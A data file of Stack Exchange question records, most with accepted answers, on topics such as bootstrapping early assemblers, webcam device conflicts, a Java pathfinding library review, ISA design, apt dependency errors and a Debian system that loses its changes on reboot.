{  "id": "_softwareengineering.129123"  , "question": "I am reading the book The Elements of Computing Systems: Building a Modern Computer from First Principles, which contains projects encompassing the build of a computer from boolean gates all the way to high level applications (in that order).  The current project I'm working on is writing an assembler using a high level language of my choice, to translate from Hack assembly code to Hack machine code (Hack is the name of the hardware platform built in the previous chapters).  Although the hardware has all been built in a simulator, I have tried to pretend that I am really constructing each level using only the tools available to me at that point in the real process.That said, it got me thinking.  Using a high level language to write my assembler is certainly convenient, but for the very first assembler ever written (i.e. in history), wouldn't it need to be written in machine code, since that's all that existed at the time?And a correlated question... how about today?  If a brand new CPU architecture comes out, with a brand new instruction set, and a brand new assembly syntax, how would the assembler be constructed?  I'm assuming you could still use an existing high level language to generate binaries for the assembler program, since if you know the syntax of both the assembly and machine languages for your new platform, then the task of writing the assembler is really just a text analysis task and is not inherently related to that platform (i.e. needing to be written in that platform's machine language)... which is the very reason I am able to cheat while writing my Hack assembler in 2012, and use some preexisting high level language to help me out."  , "title": "Were the first assemblers written in machine code?"  , "tags": "assembly;low level"  , "accepted_answer": "for the very first assembler ever written (i.e. in history), wouldn't it need to be written in machine codeNot necessarily. Of course the very first version v0.00 of the assembler must have been written in machine code, but it would not be sufficiently powerful to be called an assembler. It would not support even half the features of a real assembler, but it would be sufficient to write the next version of itself. Then you could re-write v0.00 in the subset of the assembly language, call it v0.01, use it to build the next feature set of your assembler v0.02, then use v0.02 to build v0.03, and so on, until you get to v1.00. As the result, only the first version will be in machine code; the first released version will be in the assembly language.I have bootstrapped development of a template language compiler using this trick. My initial version was using printf statements, but the first version that I put to use in my company was using the very template processor that it was processing. The bootstrapping phase lasted less than four hours: as soon as my processor could produce barely useful output, I re-wrote it in its own language, compiled, and threw away the non-templated version."  } 
{  "id": "_unix.113893"  , "question": "I tried to run the following:$ vlc -I dummy v4l2:///dev/video0 --video-filter scene --no-audio --scene-path webcam.png --scene-prefix image_prefix --scene-format png vlc://quit --run-time=1                                                     VLC media player 2.0.7 Twoflower (revision 2.0.6-54-g7dd7e4d)                                                                                                                                                                                                             [0x1f4a1c8] dummy interface: using the dummy interface module...                                                                                                                                                                                                          [0x7fc19c001238] v4l2 demux error: VIDIOC_STREAMON failed                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 libv4l2: error setting pixformat: Device or resource busy                                                                                                                                                                                                                 [0x7fc19c007f18] v4l2 access error: cannot set input 0: Device or resource busy                                                                                                                                                                                           [0x7fc19c007f18] v4l2 access error: cannot set input 0: Device or resource busy                                                                                                                                                                                           [0x7fc1a4000b28] main input error: open of `v4l2:///dev/video0' failed                                                                                                                                                                                                    [0x7fc1a4000b28] main input error: Your input can't be opened                                                                                                                                                                                                             [0x7fc1a4000b28] main input error: VLC is unable to open the MRL 'v4l2:///dev/video0'. Check the log for details.                                                                                                                                                         [0x7fc19c007cc8] idummy demux: command `quit'    So I'm assuming that there is a program currently accessing my webcam, which is cumbersome since its light is off and lsof | grep /dev/video returns nothing. Is there another, proper way to check what processes are currently using my webcam? Or is the problem of an entirely different nature?"  , "title": "How do I find out which process is using my V4L2 webcam?"  , "tags": "devices;camera;vlc;v4l"  } 
{  "id": "_codereview.77241"  , "question": "I have this small generic path search library. It's not perfect at all, so I need some comments as to have a chance to improve it.com.stackexchange.codereview.graph.model:AbstractHeuristicFunction.java:package com.stackexchange.codereview.graph.model;public interface AbstractHeuristicFunction<T extends AbstractNode<T>> {    public void setTarget(final T target);    public void setLayout(final PlaneLayout layout);    public double h(final T node);}AbstractNode.java:package com.stackexchange.codereview.graph.model;public abstract class AbstractNode<T extends AbstractNode<T>> implements Iterable<T> {    protected final String id;    protected AbstractNode(final String id) {        if (id == null) {            throw new IllegalArgumentException(The ID string is null.);        }        this.id = id;    }    public abstract boolean connectTo(final T node);    public abstract boolean disconnectFrom(final T node);    public abstract boolean isConnectedTo(final T node);    public abstract Iterable<T> parents();    @Override    public int hashCode() {        return id.hashCode();    }    @Override    public boolean equals(final Object o) {        if (!(o instanceof AbstractNode)) {            return false;        }        return (((AbstractNode<T>) o).id.equals(this.id));    }}AbstractWeightFunction.java:package com.stackexchange.codereview.graph.model;import java.util.HashMap;import java.util.Map;public abstract class AbstractWeightFunction<T extends AbstractNode<T>> {    protected final Map<T, Map<T, Double>> map;    protected AbstractWeightFunction() {        this.map = new HashMap<>();    }    public abstract Double put(final T node1,                                final T node2,                                final double weight);    public abstract double get(final T node1, final T node2);}AbstractPathFinder.java:package com.stackexchange.codereview.graph.model;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Map;public abstract class AbstractPathFinder<T extends AbstractNode<T>> {    public abstract List<T> search(final T source, final T target);    protected List<T> constructPath(final T middleNode,                                     final Map<T, T> parentMapA,                                    final Map<T, T> parentMapB) {        final List<T> path = new ArrayList<>();        T current = middleNode;        while (current != null) {            path.add(current);            current = parentMapA.get(current);        }        Collections.<T>reverse(path);        if (parentMapB != null) {            current = parentMapB.get(middleNode);            while (current != null) {                path.add(current);                current = parentMapB.get(current);            }        }        return path;    }    protected List<T> constructPath(final T target, final Map<T, T> parentMap) {        return constructPath(target, parentMap, null);    }}PlaneLayout.java:package com.stackexchange.codereview.graph.model;import java.awt.geom.Point2D;import java.util.HashMap;import java.util.Map;public class PlaneLayout<T extends AbstractNode<T>> {    private final Map<T, Point2D.Double> map;    public PlaneLayout() {        this.map = new HashMap<>();    }    public Point2D.Double put(final T node, final Point2D.Double location) {        return map.put(node, location);    }    public Point2D.Double get(final T node) {        return map.get(node);    }}com.stackexchange.codereview.graph.model.support:AStarPathFinder.java:package com.stackexchange.codereview.graph.model.support;import static com.stackexchange.codereview.graph.Utils.checkNotNull;import com.stackexchange.codereview.graph.model.AbstractHeuristicFunction;import com.stackexchange.codereview.graph.model.AbstractNode;import com.stackexchange.codereview.graph.model.AbstractWeightFunction;import com.stackexchange.codereview.graph.model.AbstractPathFinder;import java.util.Collections;import java.util.Comparator;import java.util.HashMap;import java.util.HashSet;import java.util.List;import java.util.Map;import java.util.PriorityQueue;import java.util.Set;public class AStarPathFinder<T extends AbstractNode<T>>extends AbstractPathFinder<T> {    private AbstractHeuristicFunction<T> heuristicFunction;    private AbstractWeightFunction<T> weightFunction;    private final Map<T, T> PARENTS;    private final Map<T, Double> DISTANCE;    private final Set<T> CLOSED;    private PriorityQueue<T> OPEN;    public AStarPathFinder() {        this.PARENTS = new HashMap<>();        this.DISTANCE = new HashMap<>();        this.CLOSED = new HashSet<>();    }    @Override    public List<T> search(T source, T target) {        checkNotNull(heuristicFunction, Heuristic function is null.);        checkNotNull(weightFunction, Weight function is null.);        clearState();        heuristicFunction.setTarget(target);        OPEN.add(source);        PARENTS.put(source, null);        DISTANCE.put(source, 0.0);        while (OPEN.size() > 0) {            final T current = OPEN.poll();            if (current.equals(target)) {                return constructPath(target, PARENTS);            }            CLOSED.add(current);            for (final T child : current) {                if (CLOSED.contains(child)) {                    continue;                }                final double w = g(current) + w(current, child);                if (!PARENTS.containsKey(child)) {                    PARENTS.put(child, current);                    DISTANCE.put(child, w);                    // DISTANCE updated, implicitly used by OPEN.add.                    OPEN.add(child);                } else if (w < g(child)) {                    PARENTS.put(child, current);                    DISTANCE.put(child, w);                    // Reinsert as to decrease the priority.                    OPEN.remove(child);                    OPEN.add(child);                }            }        }        // Empty list denotes that target is not reachable from source.        return Collections.<T>emptyList();    }    public AStarPathFinder<T>          setWeightFunction(final AbstractWeightFunction<T> function) {        this.weightFunction = function;        return this;    }    public AStarPathFinder<T>        setHeuristicFunction(final AbstractHeuristicFunction<T> function) {        this.heuristicFunction = function;        this.OPEN = new PriorityQueue<>(                new FValueComparator(DISTANCE, function));        return this;    }    private double h(final T node) {        return heuristicFunction.h(node);    }    private double w(final T tail, final T head) {        return weightFunction.get(tail, head);    }    private double g(final T node) {        return DISTANCE.get(node);    }    private void clearState() {        PARENTS.clear();        DISTANCE.clear();        CLOSED.clear();        OPEN.clear();    }    private class FValueComparator implements Comparator<T> {        private final Map<T, Double> DISTANCE;        private final AbstractHeuristicFunction<T> function;        FValueComparator(final Map<T, Double> DISTANCE,                         final AbstractHeuristicFunction<T> function) {            this.DISTANCE = DISTANCE;            this.function = function;        }        @Override        public int compare(final T o1, final T o2) {            final double f1 = DISTANCE.get(o1) + function.h(o1);            final double f2 = DISTANCE.get(o2) + function.h(o2);            return Double.compare(f1, f2);        }    }}DijkstraHeuristicFunction.java:package com.stackexchange.codereview.graph.model.support;import com.stackexchange.codereview.graph.model.AbstractHeuristicFunction;import com.stackexchange.codereview.graph.model.AbstractNode;import com.stackexchange.codereview.graph.model.PlaneLayout;public class DijkstraHeuristicFunction<T extends AbstractNode<T>> implements AbstractHeuristicFunction<T> {    @Override    public double h(T node) {        return 0.0;    }    @Override    public void setTarget(T target) {    }    @Override    public void setLayout(PlaneLayout layout) {    }}DirectedGraphNode.java:package com.stackexchange.codereview.graph.model.support;import com.stackexchange.codereview.graph.model.AbstractNode;import java.util.Iterator;import java.util.LinkedHashSet;import java.util.Set;public class DirectedGraphNode extends AbstractNode<DirectedGraphNode> {    private final Set<DirectedGraphNode> in;    private final Set<DirectedGraphNode> out;    public DirectedGraphNode(final String id) {        super(id);        // LinkedHashSet iterates way faster than HashSet.        this.in  = new LinkedHashSet<>();        this.out = new LinkedHashSet<>();    }    @Override    public boolean connectTo(DirectedGraphNode node) {        if (out.contains(node)) {            return false;        }        out.add(node);        node.in.add(this);        return true;    }    @Override    public boolean disconnectFrom(DirectedGraphNode node) {        if (!out.contains(node)) {            return false;        }        out.remove(node);        node.in.remove(this);        return true;    }    @Override    public boolean isConnectedTo(DirectedGraphNode node) {        return out.contains(node);    }    @Override    public Iterable<DirectedGraphNode> parents() {        return new Iterable<DirectedGraphNode>() {            @Override            public Iterator<DirectedGraphNode> iterator() {                return new IteratorProxy<>(in.iterator());            }        };    }    @Override    public Iterator<DirectedGraphNode> iterator() {        return new IteratorProxy<>(out.iterator());    }    @Override    public String toString() {        return [DirectedGraphNode  + id + ];    }}DirectedGraphWeightFunction.java:package com.stackexchange.codereview.graph.model.support;import com.stackexchange.codereview.graph.model.AbstractWeightFunction;import java.util.HashMap;public class DirectedGraphWeightFunction extends AbstractWeightFunction<DirectedGraphNode> {    public DirectedGraphWeightFunction() {        super();    }    @Override    public Double put(final DirectedGraphNode node1,                       final DirectedGraphNode node2,                       final double weight) {        if (!map.containsKey(node1)) {            map.put(node1, new HashMap<>());        }        final Double old = map.get(node1).get(node2);        map.get(node1).put(node2, weight);        return old;    }    @Override    public double get(final DirectedGraphNode node1,                       final DirectedGraphNode node2) {        return map.get(node1).get(node2);    }}IteratorProxy.java:package com.stackexchange.codereview.graph.model.support;import java.util.Iterator;public class IteratorProxy<T> implements Iterator<T> {    private final Iterator<T> iterator;    protected IteratorProxy(final Iterator<T> iterator) {        this.iterator = iterator;    }    @Override    public boolean hasNext() {        return iterator.hasNext();    }    @Override    public T next() {        return iterator.next();    }}PlaneHeuristicFunction.java:package com.stackexchange.codereview.graph.model.support;import com.stackexchange.codereview.graph.model.AbstractHeuristicFunction;import com.stackexchange.codereview.graph.model.AbstractNode;import com.stackexchange.codereview.graph.model.PlaneLayout;import java.awt.geom.Point2D;public class PlaneHeuristicFunction<T extends AbstractNode<T>> implements AbstractHeuristicFunction<T> {    private T target;    private PlaneLayout<T> layout;    private Point2D.Double targetLocation;    public PlaneHeuristicFunction(final PlaneLayout<T> layout,                                  final T target) {        this.layout = layout;        this.targetLocation = layout.get(target);    }    @Override    public void setLayout(PlaneLayout layout) {        this.layout = layout;        this.targetLocation = layout.get(target);    }    @Override    public void setTarget(T target) {        this.target = target;        this.targetLocation = layout.get(target);    }    @Override    public double h(final T node) {        return targetLocation.distance(layout.get(node));    }}com.stackexchange.codereview.graph:Utils.java:package com.stackexchange.codereview.graph;import com.stackexchange.codereview.graph.model.PlaneLayout;import com.stackexchange.codereview.graph.model.support.DirectedGraphNode;import com.stackexchange.codereview.graph.model.support.DirectedGraphWeightFunction;import java.awt.geom.Point2D;import java.util.ArrayList;import java.util.List;import java.util.Random;public class Utils {    public static class Triple<F, S, T> {        private final F first;        private final S second;        private final T third;        public Triple(final F first, final S second, final T third) {            this.first = first;            this.second = second;            this.third = third;        }        public F first() {            return first;        }        public S second() {            return second;        }        public T third() {            return third;        }    }    public static Triple<List<DirectedGraphNode>,                         DirectedGraphWeightFunction,                         PlaneLayout>        createRandomDigraph(final int nodeAmount,                            float edgeLoadFactor,                            final double width,                            final double height,                            final double maxDistance,                            double weightFactor,                            final Random rnd) {        final List<DirectedGraphNode> graph = new ArrayList<>(nodeAmount);        final PlaneLayout layout = new PlaneLayout();        final DirectedGraphWeightFunction weightFunction =                new DirectedGraphWeightFunction();        for (int i = 0; i < nodeAmount; ++i) {            final DirectedGraphNode node = new DirectedGraphNode( + i);            layout.put(node, new Point2D.Double(width * rnd.nextDouble(),                                                height * rnd.nextDouble()));            graph.add(node);        }        weightFactor = Math.max(weightFactor, 1.05);        edgeLoadFactor = Math.min(edgeLoadFactor, 0.8f);        int edges = (int)(edgeLoadFactor * nodeAmount * nodeAmount);        while (edges > 0) {            final DirectedGraphNode tail = choose(graph, rnd);            final DirectedGraphNode head = choose(graph, rnd);            final Point2D.Double tailPoint = layout.get(tail);            final Point2D.Double headPoint = layout.get(head);            final double distance = tailPoint.distance(headPoint);            if (distance <= maxDistance) {                tail.connectTo(head);                weightFunction.put(tail, head, weightFactor * distance);                --edges;            }        }        return new Triple<>(graph, weightFunction, layout);    }    public static <E> E choose(final List<E> list, final Random rnd) {        if (list.isEmpty()) {            return null;        }        return list.get(rnd.nextInt(list.size()));    }    public static void checkNotNull(final Object reference,                                     final String message) {        if (reference == null) {            throw new NullPointerException(message);        }    }    public static <E> boolean listsAreSame(final List<E> list1,                                            final List<E> list2) {        if (list1.size() != list2.size()) {            return false;        }        for (int i = 0; i < list1.size(); ++i) {            if (!list1.get(i).equals(list2.get(i))) {                return false;            }        }        return true;    }}Demo.java:package com.stackexchange.codereview.graph;import com.stackexchange.codereview.graph.Utils.Triple;import static com.stackexchange.codereview.graph.Utils.choose;import static com.stackexchange.codereview.graph.Utils.listsAreSame;import com.stackexchange.codereview.graph.model.PlaneLayout;import com.stackexchange.codereview.graph.model.support.AStarPathFinder;import com.stackexchange.codereview.graph.model.support.DijkstraHeuristicFunction;import com.stackexchange.codereview.graph.model.support.DirectedGraphNode;import com.stackexchange.codereview.graph.model.support.DirectedGraphWeightFunction;import com.stackexchange.codereview.graph.model.support.PlaneHeuristicFunction;import java.util.List;import java.util.Random;public class Demo {    public static final int GRAPH_SIZE = 100000;    public static final float EDGE_LOAD_FACTOR = 4.0f / GRAPH_SIZE;    public static final double WIDTH = 2000.0;    public static final double HEIGHT = 1000.0;    public static final double MAX_DISTANCE = 100.0;    public static final double WEIGHT_FACTOR = 1.1;    public static void main(final String... args) {        final long seed = System.currentTimeMillis();        System.out.println(Seed:  + seed);        final Random rnd = new Random(seed);        Triple<List<DirectedGraphNode>,               DirectedGraphWeightFunction,                PlaneLayout> data =                 Utils.createRandomDigraph(GRAPH_SIZE,                                          EDGE_LOAD_FACTOR,                                           WIDTH,                                          HEIGHT,                                           MAX_DISTANCE,                                          WEIGHT_FACTOR,                                          rnd);        final DirectedGraphNode source = choose(data.first(), rnd);        final DirectedGraphNode target = choose(data.first(), rnd);        System.out.println(Source:  + source);        System.out.println(Target:  + target);        final AStarPathFinder<DirectedGraphNode> finder =                new AStarPathFinder<>()                .setHeuristicFunction(                        new PlaneHeuristicFunction<>(data.third(), target))                .setWeightFunction(data.second());        long ta = System.currentTimeMillis();        final List<DirectedGraphNode> path1 = finder.search(source, target);        long tb = System.currentTimeMillis();        System.out.println(A* in  + (tb - ta) +  ms.);        for (final DirectedGraphNode node : path1) {            System.out.println(node);        }        System.out.println();        finder.setHeuristicFunction(new DijkstraHeuristicFunction<>());        ta = System.currentTimeMillis();        final List<DirectedGraphNode> path2 = finder.search(source, target);        tb = System.currentTimeMillis();        System.out.println(Dijkstra's algorithm in  + (tb - ta) +  ms.);        for (final DirectedGraphNode node : path2) {            System.out.println(node);        }        System.out.println();        System.out.println(Paths are same:  + listsAreSame(path1, path2));    }}"  , "title": "Small generic path search framework in Java"  , "tags": "java;search;graph;pathfinding;framework"  , "accepted_answer": "UtilsStatically importing these methods is questionable - it makes it harder to read code without consulting the list of imports.TripleDon't do this. Use a real class that contains the data you need. Maybe DirectedGraph would be a good name.choose()Should be named better - selectRandomNode(), perhaps.AbstractHeuristicFunctionThe name 'Abstract' should be reserved for use only by classes modified with the abstract keyword. By convention, java interfaces have no indicator that they are interfaces.AbstractNodeMethods not intended to be extended by children should be explicitly declared final to prevent such extension. The id instance variable should be private, unless you really intend for subtypes to be able to manually change it after the instance has been constructed.AStarPathFinderDon't allow objects to be built in an invalid state. If this class needs heuristic and weight functions, require them in the constructor/static factory method/builder.DocumentationYou don't have any, which is less than optimal. It's great when you can hover over a method in your IDE and see exactly how it's supposed to work. At the very least, all public methods should be documented, so clients using your library can easily understand how your code works.General DesignI'm an API designer, so I tend to look at things from that perspective.I think that an interface called Graph should be the main entry point into your system. DirectedGraph should be an implementation of that interface. You can take out a lot of the generics noise if you do that. Likewise, add a GraphNode interface that DirectedGraphNode implements. Many existing methods would belong to Graph, such as finder.search(). You could either pass in the relevant arguments or use a fluent API. Weights should be a property of the Graph, since different implementations behave differently. You should be able to share a lot of implementation behind the scenes when you add an undirected graph, since that's just a special case of a directed graph (both directions always have the same weight). You should even be able to modify the createRandomGraph() method to take an enum argument specifying the graph type (GraphType.DIRECTED or GraphType.UNDIRECTED).Those changes would make your Demo class look something like:public static void main(final String... args) {    final long seed = System.currentTimeMillis();    System.out.println(Seed:  + seed);    final Random rnd = new Random(seed);    final Graph diGraph =            Utils.createRandomDigraph(GRAPH_SIZE,                                      EDGE_LOAD_FACTOR,                                      WIDTH,                                      HEIGHT,                                      MAX_DISTANCE,                                      WEIGHT_FACTOR,                                      rnd);    final GraphNode source = diGraph.selectRandomNode();    final GraphNode target = diGraph.selectRandomNode();    System.out.println(Source:  + source);    System.out.println(Target:  + target);    final Heuristic aStarHeuristic = new AStarHeuristic();    long ta = System.currentTimeMillis();    final List<GraphNode> path1 =            diGraph.findPath(source, target, aStarHeuristic);    /* OR     * diGraph.findPathFrom(source).to(target).usingHeuristic(aStar);     */    long tb = System.currentTimeMillis();    System.out.println(A* in  + (tb - ta) +  ms.);    for (final GraphNode node : path1) {        System.out.println(node);    }    // ... etcYou should also really consider using the Builder pattern to create graph instances. You've pushed past the suggested number of input parameters to a method, which makes it harder to read/understand code written against the API, and also makes it harder to remember parameter order. In order to do that, you'd need reasonable defaults for many of the arguments, because you need to assume that clients may not set anything they don't have to. You could solve that problem with a fluent API chain instead of a builder, but that's more work for you as a developer. In a real API I'd say go for it, but if this is just a personal project it probably isn't worth it unless you want to play with fluent APIs. There are more specific issues that could be raised, but I think that's enough for a start. Many of them would change if you switch your design around."  } 
{  "id": "_cs.59565"  , "question": "I am trying to study for an exam and I noticed a lot of the questions follow the idea of  Changing the ISA. From my understanding the ISA dictates the structure and format of instructions, so changing instructions or the format (32 to 64 bit) would change the ISA. However I ran into a question which I am not sure how to answer.If we remove the branch delay slots, will the ISA be changed?My guess would be no, because we're not changing any instructions (right?), but I would like to get an answer from someone more knowledgeable."  , "title": "Would removing the branch delay slots change the instructions set architecture?"  , "tags": "computer architecture;cpu"  , "accepted_answer": "The instructions set architecture (ISA) is the contract between the hardware designer and the software designer.  Anything that changes the contract, changes the ISA.The question you have to answer is: given every possible program written with this particular ISA, do any of them have different behavior (give a different answer) if we remove the branch delay slots."  } 
{  "id": "_cstheory.11182"  , "question": "Let's extend the Turing machine so that it can read from a stream of random number generators (in addition to an infinite tape to read and write). Certainly the TM with randomness can do whatever a classical TM do, but what about the converse?One can argue that the classical TM will always generate the same result given the same input,  while the TM with randomness can behave randomly, it can do more. But, then random-valued functions are not really what we call computable. I am aware of randomized algorithms and BPP and what not, but is there an extension of computability that deals with these kind of questions?"  , "title": "Is a turing machine with random number generator more powerful?"  , "tags": "computability;turing machines;randomness"  , "accepted_answer": "See https://mathoverflow.net/questions/58060/can-randomness-add-computability"  } 
{  "id": "_softwareengineering.155697"  , "question": "I want to know if the structure for an ASP.NET website I'm working on uses a design pattern for it's web pages. If it is a design pattern, what is it called? The web pages have the following structure:UserDetails page (UserDetails.aspx) - includes UserDetailsController.ascx user control. UserDetailsController.ascx includes sub user controls like UserAccountDetails.ascx and UserLoginDetails.ascx etcEach sub user control contains a small amount of code/logic, the 'controller' user controls that host these sub user controls (i.e UserDetailsController.ascx) appear to call the business rules code and pass the data to the sub user controls.Is this a design pattern? What is it called?"  , "title": "Is the structure used for these web pages a design pattern?"  , "tags": "c#;design patterns;asp.net"  , "accepted_answer": "Short answer: looks like a variation of a Master-child design.Long answer: there are different standards how UI pattern is defined. To express them, i have combined listing that might be helpful to expand on this topic.UI PatternsUI Design patterns Introduction40+ Helpful Resources On User Interface Design PatternsMSDN - Design and Implementation Guidelines for Web ClientsASP.NET Design Patterns"  } 
{  "id": "_softwareengineering.278144"  , "question": "I have a requirement where I have a list of entity and users who that entity can be assignedE1 can be distributed by U1 or U2 E2 must be distributed by U5 E3 can be distributed by U2 or U3 or U4I have such 50K entities and for each entity there might be 1 or more users. In case of 1 user, its clear and entity will be assigned to that user only. In case of multiple users, it can be assigned to any one them.  We want to distribute it such that each user gets equal amount of entities. and there are minimal possible/unavoidable skewed distributions, also each user might already posses some entities : U1 has 2K and U2 has 3K entitis already, so the distribution should take care of this fact as well.EDIT 1We have already tried a solution of going sequentially and assigning one entity at a time as per the allocation to users at that point in time, but that producing skewed results, because we are getting users who have less allocation earlier but more allocation later or viceversa...E1 to E25 must be handled by any of U1 & U2 E26 to E50 must be handled by any of U2 & U3 if we go sequentially, in the end : U1 gets 12 (from E1-E25), U2 gets 19 (13 from E1-E25 & 6 from E26-E50) & U3 gets 19(from E26-E50). So all in all 50 allocated. fine. but see the skewed resultsEDIT2Why do we have different users per entity? there are multiple products to be distributed. Some users handle multiple products and some users handle single product, but still all the users need to be load balanced."  , "title": "equal distribution within given set of users"  , "tags": "algorithms;distribution"  , "accepted_answer": "This brings back memories of an Operations Research class I had in college a very long time ago.  You might want to do some googling on the Assignment problem and the Generalized Assignment problem for some background info and more rigorous solutions.Having said that, I'd do the following:Put all the entities that can be processed by the same set of users into a bucket.  Bucket 1 might contain all the entities that  can be processed by U1 or U2. Bucket 2 might contain all the entities  that can be processed by U2 or U3.  Bucket 3 (not in your examples)  might contain all the entities that can only be processed by U4.Process all the single entity buckets (Bucket 3).  There are no choices to be made here, and you may as well get this out of the way  first.  You mentioned that 80% of your entities may fall into this  category.At this point, stop looking at buckets and entities, and process users.  Find the user with the least number of entities assigned and  have them pick one entity from the most full bucket (bucket with the  largest number of entities).Repeat step 3 until all entities are assigned.This will definitely require testing - I reserve the right to be wrong :-)"  } 
{  "id": "_unix.349098"  , "question": "Package software-center not found on Ubuntu 14.04 LTS.I tried to Install it via terminal, But ended up with below error :ravip@LP204:~$ sudo apt-get install software-center[sudo] password for ravip: Reading package lists... DoneBuilding dependency tree       Reading state information... DoneSome packages could not be installed. This may mean that you haverequested an impossible situation or if you are using the unstabledistribution that some required packages have not yet been createdor been moved out of Incoming.The following information may help to resolve the situation:The following packages have unmet dependencies: software-center : Depends: software-center-aptdaemon-plugins but it is not going to be installed                   Depends: python-gi but it is not going to be installed                   Depends: python-gi-cairo but it is not going to be installed                   Depends: python-aptdaemon (>= 0.40) but it is not going to be installed                   Depends: python-aptdaemon.gtk3widgets but it is not going to be installed                   Depends: oneconf (>= 0.2.6) but it is not going to be installed                   Recommends: software-properties-gtk but it is not going to be installed                   Recommends: sessioninstaller but it is not going to be installedE: Unable to correct problems, you have held broken packages.All Depends & Recommends Packages are already installed & at newest version.How can I resolve ?"  , "title": "Ubuntu software-center : Unable to correct problems, you have held broken packages"  , "tags": "ubuntu;apt;software installation;software updates"  } 
{  "id": "_unix.283700"  , "question": "Running RasPBX based on Debian Jessie - I tried to change a few .conf files, but they always reverted following reboot. I initially thought this was dhcp messing with things, but it turns out nothing survives reboot. Even a .txt file I created in the home directory gets deleted.tl;dr - SSH in, change stuff, reboot, all changes reverted.Output of mount:/dev/mmcblk0p2 on / type ext4 (rw,noatime,data=ordered)devtmpfs on /dev type devtmpfs (rw,relatime,size=469688k,nr_inodes=117422,mode=755)sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)proc on /proc type proc (rw,relatime)tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/net_cls type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls)systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct)debugfs on /sys/kernel/debug type debugfs (rw,relatime)mqueue on /dev/mqueue type mqueue (rw,relatime)configfs on /sys/kernel/config type configfs (rw,relatime)/dev/mmcblk0p1 on /boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,errors=remount-ro)Output of dmesg | grep -E 'mmc|ext' :)[    0.000000] Kernel command line: 8250.nr_uarts=1 dma.dmachans=0x7f35 bcm2708_fb.fbwidth=656 bcm2708_fb.fbheight=416 bcm2709.boardrev=0xa02082 bcm2709.serial=0xb59dde09 smsc95xx.macaddr=B8:27:EB:9D:DE:09 bcm2708_fb.fbswap=1 bcm2709.uart_clock=48000000 vc_mem.mem_base=0x3dc00000 vc_mem.mem_size=0x3f000000  dwc_otg.lpm_enable=0 console=ttyS0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait      .text : 0x80008000 - 0x807945f0   (7730 kB)[    0.052137] CPU: Virtualization extensions available.[    2.418638] mmc0: sdhost-bcm2835 loaded - DMA enabled (>1)[    2.451228] mmc-bcm2835 3f300000.mmc: mmc_debug:0 mmc_debug2:0[    2.462049] mmc-bcm2835 3f300000.mmc: DMA channel allocated[    2.489744] mmc0: host does not support reading read-only switch, assuming write-enable[    2.508346] mmc0: new high speed SDHC card at address 59b4[    2.654165] Waiting for root device /dev/mmcblk0p2...[    2.654367] mmcblk0: mmc0:59b4 00000 7.35 GiB[    2.655651]  mmcblk0: p1 p2[    2.674572] mmc1: queuing unknown CIS tuple 0x80 (2 bytes)[    2.676113] mmc1: queuing unknown CIS tuple 0x80 (3 bytes)[    2.677657] mmc1: queuing unknown CIS tuple 0x80 (3 bytes)[    2.680430] mmc1: queuing unknown CIS tuple 0x80 (7 bytes)[    2.742278] EXT4-fs (mmcblk0p2): INFO: recovery required on readonly filesystem[    2.755364] EXT4-fs (mmcblk0p2): write access will be enabled during recovery[    2.770294] mmc1: new high speed SDIO card at address 0001[    2.932862] EXT4-fs (mmcblk0p2): orphan cleanup on readonly fs[    2.945051] EXT4-fs (mmcblk0p2): 2 orphan inodes deleted[    2.955001] EXT4-fs (mmcblk0p2): recovery complete[    2.971534] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Opts: (null)[    2.987156] VFS: Mounted root (ext4 filesystem) readonly on device 179:2.[    4.532519] systemd[1]: Expecting device dev-mmcblk0p1.device...[    6.365651] EXT4-fs (mmcblk0p2): re-mounted. Opts: (null)[    6.721847] FAT-fs (mmcblk0p1): Volume was not properly unmounted. Some data may be corrupt. Please run fsck.[    7.736280] Adding 102396k swap on /var/swap.  Priority:-1 extents:7 across:307200k SSFSRefuses to run fsck:fsck from util-linux 2.25.2e2fsck 1.42.12 (29-Aug-2014)/dev/mmcblk0p2 is mounted.e2fsck: Cannot continue, aborting.Also, refuses to unmount /dev/mmcblk0p2 - claiming target is busy.Tried:shutdown -F -r nowResulting in:Code should not be reached 'Unhandled option' at ../src/systemctl systemctl.c:6316, function shutdown_parse_argv(). Aborting.Aborted"  , "title": "Nothing survives reboot in Debian Jessie"  , "tags": "debian;reboot"  } 
